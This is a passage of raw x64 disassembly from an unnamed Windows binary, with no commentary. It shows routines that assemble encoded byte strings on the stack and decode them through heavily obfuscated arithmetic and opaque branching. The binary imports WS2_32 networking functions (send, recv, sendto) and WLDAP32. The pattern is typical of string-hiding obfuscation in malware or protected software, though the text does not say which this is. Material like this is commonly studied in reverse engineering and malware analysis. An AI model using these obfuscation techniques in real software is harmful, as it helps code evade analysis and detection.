sub bl, 0x57
jmp 0x14014cae1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014c8ab
lea ecx, [r8 + 0x27]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x11
jmp 0x14014ca70
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c8cf
add r8b, 0x1d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x35
jmp 0x14014cafc
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014c8f3
add r8b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x7b
jmp 0x14014caff
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014c915
lea ecx, [r8 + 9]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3f
jmp 0x14014cb2f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14014c5e8
sub r8b, 0xb
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x4d
jmp 0x14014cba0
jne 0x14014c94d
add r8b, 0x5c
mov ecx, 0x3e
jmp 0x14014c667
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014c973
lea edx, [r8 + 0x48]
mov ecx, 4
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014cb2f
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c997
add r8b, 0x34
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x6c
jmp 0x14014cafc
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014c5b2
lea ecx, [r8 + 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14014cac0
lea edx, [r8 - 8]
mov al, dl
and al, r9b
mov cl, r9b
sub cl, al
add cl, 0x1c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014ca70
lea edx, [r8 - 0x12]
mov al, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014cb2f
sub r8b, 0x43
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2b
jmp 0x14014cba0
lea ecx, [r8 - 0x2f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x49
jmp 0x14014cb2f
sub r8b, 0x25
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 3
jmp 0x14014caff
sub r8b, 0x1b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x43
jmp 0x14014cafc
lea ecx, [r8 - 0x11]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r14b
add r8b, 0x73
mov al, r9b
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0x25
add cl, r9b
add cl, r8b
mov byte [rbp + r11 + 0x170], cl
jmp 0x14014cafc
lea ecx, [r8 + 0xd]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x5b
jmp 0x14014cac0
mov r8b, r11b
lea ecx, [r8 + 0x21]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x19
add r8b, 0x7d
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x6b
add r9b, r8b
mov byte [rbp + r11 + 0x170], r9b
inc r10
dec r11
jmp 0x14014cbaf
lea ecx, [r11 + 0x49]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
inc bl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x14014cbaf
movabs rcx, 0xc062392e07195b5d
add rcx, r11
and dl, cl
add dl, dl
mov bl, r9b
sub bl, dl
add bl, 0x75
add bl, cl
mov r8b, r11b
add r8b, 0x69
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x21
add r8b, r9b
movzx eax, r8b
mov byte [rbp + r11 + 0x170], al
inc r10
add rax, r10
sub r11, rax
lea ecx, [r11 - 0x1c]
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x3c
add cl, r9b
mov byte [rbp + r11 + 0x170], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x14014cba0
movabs rcx, 0xc02a188170c1b971
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x17
movzx eax, byte [rbp + r11 + 0x170]
add rax, r10
add r11, rax
inc r11
jmp 0x14014c1b8
sub r8b, 0x19
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x51
jmp 0x14014c1b5
sub r8b, 0xf
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, 0x69
jmp 0x14014c1a5
lea rdx, [rbp + 0x1783414]
jmp 0x14014cc06
lea rdx, [rbp + 0x4e1c8f]
jmp 0x14014cc06
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x578]
call fcn.140051148
nop
mov r15d, 0x80
mov byte [rbp + 0x2b0], r15b
mov byte [rbp + 0x2b1], 0xfc
mov byte [rbp + 0x2b2], 0xdf
mov byte [rbp + 0x2b3], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x2b4], 0x84
mov byte [rbp + 0x2b5], 0x87
mov byte [rbp + 0x2b6], Ordinal_200
mov byte [rbp + 0x2b7], 0xf3
mov byte [rbp + 0x2b8], 0xfc
mov byte [rbp + 0x2b9], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2ba], 0xc9
mov byte [rbp + 0x2bb], Ordinal_200
mov byte [rbp + 0x2bc], 0xc1
mov byte [rbp + 0x2bd], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x2be], 0xc0
mov byte [rbp + 0x2bf], 0xfb
mov byte [rbp + 0x2c0], Ordinal_200
mov byte [rbp + 0x2c1], 0xb3
mov byte [rbp + 0x2c2], 0x88
mov byte [rbp + 0x2c3], 0xb3
mov byte [rbp + 0x2c4], 0xef
mov byte [rbp + 0x2c5], 0xe8
mov byte [rbp + 0x2c6], 0xcb
mov byte [rbp + 0x2c7], 0x57
xor eax, eax
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x2d0], eax
mov byte [rbp + 0x2d4], al
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor esi, esi
cmp rsi, 0x25
jae 0x14014d5ff
movzx r9d, byte [rbp + rsi + 0x2b0]
mov r11d, r9d
mov r13b, reloc.WS2_32.dll_WSASetLastError
cmp rdi, rsi
ja 0x14014d5f6
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014cd39
movabs rcx, 0xdcd8aee9f7e8ea10
add rcx, rsi
mov rax, rcx
and rax, r11
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r11
sub bl, r13b
jmp 0x14014cd66
je 0x14014d584
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014d510
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014d4f2
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014d4bc
mov r8b, sil
cmp r10, rsi
ja 0x14014d5ed
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x14014cd94
lea ecx, [r8 + 0x50]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x14014cdc8
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014d4a6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014d477
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014d45f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014d445
lea rax, [r10 + rdi]
cmp rax, rsi
jbe 0x14014d254
lea rax, [r10 + 0x10]
cmp rdi, rax
je 0x14014d23b
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014d227
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014d208
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014d2be
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14014d1fa
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014d1e0
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014d1c7
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14014d1ac
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14014d191
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14014cdd5
lea rdi, [r10 + 0x28]
lea r10, [rdi + 3]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014d5d2
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014d5b7
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014cfc5
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014cfa6
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14014cf89
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14014d112
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14014d107
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014d0d2
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014d0b0
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014cdd5
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x28]
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014d096
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14014d07b
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014d062
lea rax, [r10 + 0x64]
cmp rdi, rax
ja 0x14014d047
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x14014d033
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14014d025
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014d017
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14014cff8
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14014cfdf
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014cdd5
lea rdi, [r10 + 5]
lea r10, [rdi + 0x61]
jmp 0x14014cdd5
lea edx, [r8 - 0x50]
mov al, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014cdc8
mov dl, r8b
sub dl, r13b
mov al, dl
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014cd69
add r8b, r13b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x14014cd05
lea ecx, [r15 + r8]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r15b
jmp 0x14014d4d3
add r8b, 0x60
mov al, r8b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d505
add r8b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014d211
lea edx, [r8 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14014d2c7
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
jmp 0x14014d491
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x20
jmp 0x14014d494
lea ecx, [r8 - 0x40]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x40
jmp 0x14014d530
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x60
jmp 0x14014d55c
add r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, r15b
jmp 0x14014d5a1
add r8b, 0x30
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x50
mov byte [rbp + rsi + 0x2b0], bl
jmp 0x14014d5af
lea ecx, [r8 + 0x10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r13b
cmp r10, r15
jb 0x14014d0c6
lea ecx, [r8 + 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x40]
jmp 0x14014d4d3
lea edx, [r8 - 0x10]
mov ecx, Ordinal_60
jmp 0x14014d14e
lea edx, [r8 - 0x30]
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 0x42
je 0x14014d430
lea rcx, [r10 + 5]
cmp rdi, rcx
jbe 0x14014d2db
lea edx, [r8 - 0x30]
mov ecx, Ordinal_41
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, 8
jae 0x14014d3f6
lea rax, [r10 + 0x42]
cmp rdi, rax
jbe 0x14014d397
lea edx, [r8 + 0x20]
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014d0e6
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x20
jmp 0x14014d5a1
sub r8b, 0x40
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x40
jmp 0x14014d55c
lea ecx, [r8 - 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x14014d530
add r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
add bl, r15b
jmp 0x14014d494
add r8b, 0x60
mov ecx, Ordinal_50
jmp 0x14014d480
add r8b, 0x20
mov ecx, reloc.WS2_32.dll_recv
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d508
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
jmp 0x14014d505
lea ecx, [r8 - 0x20]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x14014d4d3
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x14014d276
lea ecx, [r8 + 0x10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r13b
jmp 0x14014d12a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014d29a
sub r8b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x60
jmp 0x14014d5a1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014d2b1
add r8b, 0x20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14014d480
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014d12a
lea edx, [r8 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014d40d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014d301
lea edx, [r8 - 0x10]
mov al, dl
and al, r9b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014d4d3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014d325
add r8b, 0x30
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x50
jmp 0x14014d508
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014d348
add r8b, r13b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x14014d491
cmp rdi, rcx
jne 0x14014d36b
sub r8b, r13b
mov al, r8b
and al, r9b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d494
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014d15d
sub r8b, 0x10
mov ecx, Ordinal_60
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d5a1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014d3ab
add r8b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014d381
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014d3d3
add r8b, 0x60
mov al, r8b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d55c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014d0e6
lea ecx, [r8 - 0x20]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x14014d40d
lea ecx, [r15 + r8]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r9b
add bl, r15b
sub r8b, r13b
mov al, r8b
and al, r9b
mov ecx, 8
sub cl, al
add cl, cl
add cl, bl
add cl, r8b
add cl, r9b
mov byte [rbp + rsi + 0x2b0], cl
jmp 0x14014d491
lea ecx, [r8 - 0x60]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [rcx - 0x60]
jmp 0x14014d530
add r8b, r13b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x10
jmp 0x14014d5a1
add r8b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, r13b
jmp 0x14014d494
sub r8b, 0x10
mov ecx, Ordinal_60
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
jmp 0x14014d5af
lea ecx, [r8 + r13]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x14014d4d3
mov r8b, sil
lea ecx, [r8 + 0x30]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x50
add r8b, r13b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x10
add r8b, r9b
mov byte [rbp + rsi + 0x2b0], r8b
jmp 0x14014d505
lea ecx, [rsi + 0x10]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r13b
inc r10
dec rsi
jmp 0x14014d5af
movabs rax, 0x9ecc865c75e6670
add rax, rsi
and r11b, al
add r11b, r11b
sub al, r11b
lea ebx, [r9 + rax]
sub bl, 0x10
mov r8b, sil
sub r8b, 0x50
mov al, r8b
and al, r9b
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
movzx eax, cl
mov byte [rbp + rsi + 0x2b0], al
inc r10
add rax, r10
sub rsi, rax
lea ecx, [rsi - 0x40]
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x40
add cl, r9b
mov byte [rbp + rsi + 0x2b0], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add rsi, rax
jmp 0x14014d5a1
movabs rax, 0x968a0cbde7babe30
add rax, rsi
and r11b, al
add r11b, r11b
sub al, r11b
lea ebx, [r9 + rax]
sub bl, 0x50
movzx eax, byte [rbp + rsi + 0x2b0]
add rax, r10
add rsi, rax
inc rsi
jmp 0x14014ccec
add r8b, 0x50
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x30
jmp 0x14014ccea
add r8b, 0x30
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x50
jmp 0x14014ccda
lea rax, [rbp + 0x17d4570]
jmp 0x14014d606
lea rax, [rbp + 0x1262f80]
jmp 0x14014d606
lea rax, [rbp + 0x2b0]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x150], 0xa
mov byte [rbp + 0x151], 0xa0
mov byte [rbp + 0x152], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x153], 5
mov byte [rbp + 0x154], 0x47
mov r13b, 0x52
mov byte [rbp + 0x155], r13b
mov byte [rbp + 0x156], 0x5a
mov byte [rbp + 0x157], 0x54
mov byte [rbp + 0x158], r13b
mov byte [rbp + 0x159], 3
mov r15b, reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x15a], r15b
mov byte [rbp + 0x15b], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x15c], Ordinal_60
xor eax, eax
mov qword [rbp + 0x15d], rax
mov dword [rbp + 0x165], eax
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor esi, esi
cmp rsi, 0x19
jae 0x14014e0a8
movzx r9d, byte [rbp + rsi + 0x150]
mov r11d, r9d
cmp rdi, rsi
ja 0x14014e09f
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014d6db
movabs rcx, 0xdd3fb61ced2f8ea6
add rcx, rsi
mov rax, r11
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r11
add rbx, rcx
add bl, 0x76
jmp 0x14014d722
je 0x14014e022
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014dfab
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014df79
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014df5d
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014df42
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014df06
mov r8b, sil
cmp r10, rsi
ja 0x14014e096
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14014d74d
lea ecx, [r8 - 0x62]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r13b
jmp 0x14014d781
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014def0
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014ded4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014dec6
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014deab
lea rax, [r10 + rdi]
cmp rax, rsi
jbe 0x14014dc4e
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014dc35
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014dc1a
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014dbff
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014dbe5
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14014dbc9
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014dbad
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014db93
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14014db74
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014db66
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14014d78e
lea rdi, [r10 + 0xa]
lea r10, [rdi + 0x5a]
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14014e077
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014e058
lea rax, [r10 + 0x64]
cmp rdi, rax
jb 0x14014d979
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014d95c
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014d93f
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14014db18
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14014dad4
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014da9b
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14014da7a
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14014d78e
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x28]
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014da5e
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14014da43
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014da2a
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014da10
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14014d9f5
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14014d9dc
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014d9c1
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14014d9a6
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14014d998
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014d78e
lea rdi, [r10 + 0x10]
lea r10, [rdi + 0x2a]
jmp 0x14014d78e
lea edx, [r8 + 0x22]
mov al, dl
and al, r9b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014d781
lea edx, [r8 - 0x2a]
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014d725
sub r8b, 0x76
mov al, r8b
and al, r9b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014d6a7
lea edx, [r8 - 0x10]
mov ecx, Ordinal_60
jmp 0x14014dd22
sub r8b, 0x5c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x7c
jmp 0x14014df3d
add r8b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x68
jmp 0x14014df55
lea ecx, [r8 + 0xc]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x14014de6f
sub r8b, 0x40
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x40
jmp 0x14014df74
add r8b, r15b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x2c
jmp 0x14014df99
lea ecx, [r8 + 0x28]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x14014dfce
sub r8b, 0x24
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 4
jmp 0x14014dffa
sub r8b, 0x70
mov ecx, 8
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014e03f
add r8b, r13b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x3e
mov byte [rbp + rsi + 0x150], bl
jmp 0x14014e050
lea ecx, [r8 + 6]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2a
cmp r10, 0x64
jb 0x14014da8f
lea ecx, [r8 + 0x24]
mov al, cl
and al, r9b
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x14014df1d
lea ecx, [r8 - 0x46]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
cmp rdi, 2
jae 0x14014de58
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14014dda2
lea ecx, [r8 + 0x2c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x14014daaf
lea ecx, [r8 + 0x6e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 2
lea rax, [r10 + rdi]
cmp rax, 5
je 0x14014de96
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x14014dd10
mov dl, r8b
sub dl, r12b
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x14014dae8
sub r8b, 0x4c
mov ecx, 0xa
jmp 0x14014da67
add r8b, 0x68
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x14014dffa
lea edx, [r8 + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14014dfcb
sub r8b, 0x30
mov al, r8b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014df96
sub r8b, 0x7c
mov ecx, reloc.WLDAP32.dll_Ordinal_50
mov al, r8b
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014df71
lea edx, [r8 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
mov al, dl
and al, r9b
sub cl, al
